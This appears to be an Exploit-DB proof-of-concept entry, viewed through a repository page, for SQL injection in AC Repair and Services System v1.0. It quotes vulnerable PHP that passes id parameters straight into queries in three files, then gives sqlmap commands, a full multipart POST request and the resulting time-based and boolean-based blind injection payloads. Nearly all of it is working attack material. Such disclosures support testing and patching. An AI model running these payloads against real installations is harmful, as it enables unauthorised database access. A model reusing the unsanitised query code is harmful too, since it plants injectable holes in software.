7ef8e488d8
22 changes to exploits/shellcodes/ghdb GL.iNet AR300M v3.216 Remote Code Execution - CVE-2023-46456 Exploit GL.iNet AR300M v4.3.7 Arbitrary File Read - CVE-2023-46455 Exploit GL.iNet AR300M v4.3.7 Remote Code Execution - CVE-2023-46454 Exploit Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated) R Radio Network FM Transmitter 1.07 system.cgi - Password Disclosure TitanNit Web Control 2.01 / Atemio 7600 - Root Remote Code Execution TPC-110W - Missing Authentication for Critical Function A-PDF All to MP3 Converter 2.0.0 - DEP Bypass via HeapCreate + HeapAlloc Easywall 0.3.1 - Authenticated Remote Command Execution Magento ver. 2.4.6 - XSLT Server Side Injection AC Repair and Services System v1.0 - Multiple SQL Injection Enrollment System v1.0 - SQL Injection Petrol Pump Management Software v.1.0 - SQL Injection Petrol Pump Management Software v.1.0 - Stored Cross Site Scripting via SVG file Petrol Pump Management Software v1.0 - 'Address' Stored Cross Site Scripting Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload Real Estate Management System v1.0 - Remote Code Execution via File Upload Simple Student Attendance System v1.0 - 'classid' Time Based Blind & Union Based SQL Injection Simple Student Attendance System v1.0 - Time Based Blind SQL Injection Boss Mini 1.4.0 - local file inclusion Windows PowerShell - Event Log Bypass Single Quote Code Execution
200 lines
No EOL
5.8 KiB
Text
200 lines
No EOL
5.8 KiB
Text
# Exploit Title: AC Repair and Services System v1.0 - Multiple SQL Injection
|
|
# Date: 27 December 2023
|
|
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
|
|
# Vendor: oretnom23
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html
|
|
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-acrss.zip
|
|
# Version: v1.0
|
|
# Tested on: Mac OSX, XAMPP, Apache, MySQL
|
|
|
|
-------------------------------------------------------------------------------------------------------------------------------------------
|
|
|
|
Source Code(/php-acrss/admin/user/manage_user.php):
|
|
|
|
<?php
|
|
if(isset($_GET['id'])){
|
|
$user = $conn->query("SELECT * FROM users where id ='{$_GET['id']}' ");
|
|
foreach($user->fetch_array() as $k =>$v){
|
|
$meta[$k] = $v;
|
|
}
|
|
}
|
|
?>
|
|
|
|
-> sqlmap -u "http://localhost/php-acrss/admin/?page=user/manage_user&id=" --batch
|
|
---
|
|
Parameter: id (GET)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: page=user/manage_user&id=' AND (SELECT 5500 FROM (SELECT(SLEEP(5)))hiCZ) AND 'rZIs'='rZIs
|
|
---
|
|
|
|
Source Code(/php-acrss/classes/Master.php):
|
|
|
|
function delete_inquiry(){
|
|
extract($_POST);
|
|
$del = $this->conn->query("DELETE FROM `inquiry_list` where id = '{$id}'");
|
|
if($del){
|
|
$resp['status'] = 'success';
|
|
$this->settings->set_flashdata('success'," Inquiry successfully deleted.");
|
|
}else{
|
|
$resp['status'] = 'failed';
|
|
$resp['error'] = $this->conn->error;
|
|
}
|
|
return json_encode($resp);
|
|
|
|
}
|
|
|
|
-> sqlmap -u "http://localhost/php-acrss/classes/Master.php?f=delete_inquiry" --data="id=*" --batch
|
|
---
|
|
Parameter: #1* ((custom) POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: id=' AND (SELECT 7930 FROM (SELECT(SLEEP(5)))XwlG) AND 'Jimw'='Jimw
|
|
---
|
|
|
|
Source Code(/php-acrss/classes/Users.php):
|
|
|
|
$qry = $this->conn->query("UPDATE users set $data where id = {$id}");
|
|
if($qry){
|
|
$this->settings->set_flashdata('success','User Details successfully updated.');
|
|
foreach($_POST as $k => $v){
|
|
if($k != 'id'){
|
|
if(!empty($data)) $data .=" , ";
|
|
if($this->settings->userdata('id') == $id)
|
|
$this->settings->set_userdata($k,$v);
|
|
}
|
|
}
|
|
|
|
POST /php-acrss/classes/Users.php?f=save HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 943
|
|
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
|
|
Accept: */*
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
X-Requested-With: XMLHttpRequest
|
|
sec-ch-ua-mobile: ?0
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
|
|
sec-ch-ua-platform: "macOS"
|
|
Origin: http://localhost
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Dest: empty
|
|
Referer: http://localhost/php-acrss/admin/?page=user/manage_user&id=9
|
|
Accept-Encoding: gzip, deflate, br
|
|
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
|
|
Cookie: PHPSESSID=o92n8nati3696kg69plidv5e77
|
|
Connection: close
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="id"
|
|
|
|
9
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="firstname"
|
|
|
|
Claire
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="middlename"
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="lastname"
|
|
|
|
Blake
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="username"
|
|
|
|
cblake
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="type"
|
|
|
|
2
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="img"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g--
|
|
|
|
-> sqlmap -r ~/Documents/POST-localhost.txt --batch
|
|
|
|
---
|
|
Parameter: MULTIPART id ((custom) POST)
|
|
Type: boolean-based blind
|
|
Title: Boolean-based blind - Parameter replace (original value)
|
|
Payload: ------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="id"
|
|
|
|
(SELECT (CASE WHEN (3947=3947) THEN 9 ELSE (SELECT 2252 UNION SELECT 2638) END))
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="firstname"
|
|
|
|
Claire
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="middlename"
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="lastname"
|
|
|
|
Blake
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="username"
|
|
|
|
cblake
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="type"
|
|
|
|
2
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="img"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g--
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: ------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="id"
|
|
|
|
9 AND (SELECT 7168 FROM (SELECT(SLEEP(5)))pifO)
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="firstname"
|
|
|
|
Claire
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="middlename"
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="lastname"
|
|
|
|
Blake
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="username"
|
|
|
|
cblake
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="type"
|
|
|
|
2
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g
|
|
Content-Disposition: form-data; name="img"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
------WebKitFormBoundaryAUtgvsSwiJifz27g--
|
|
--- |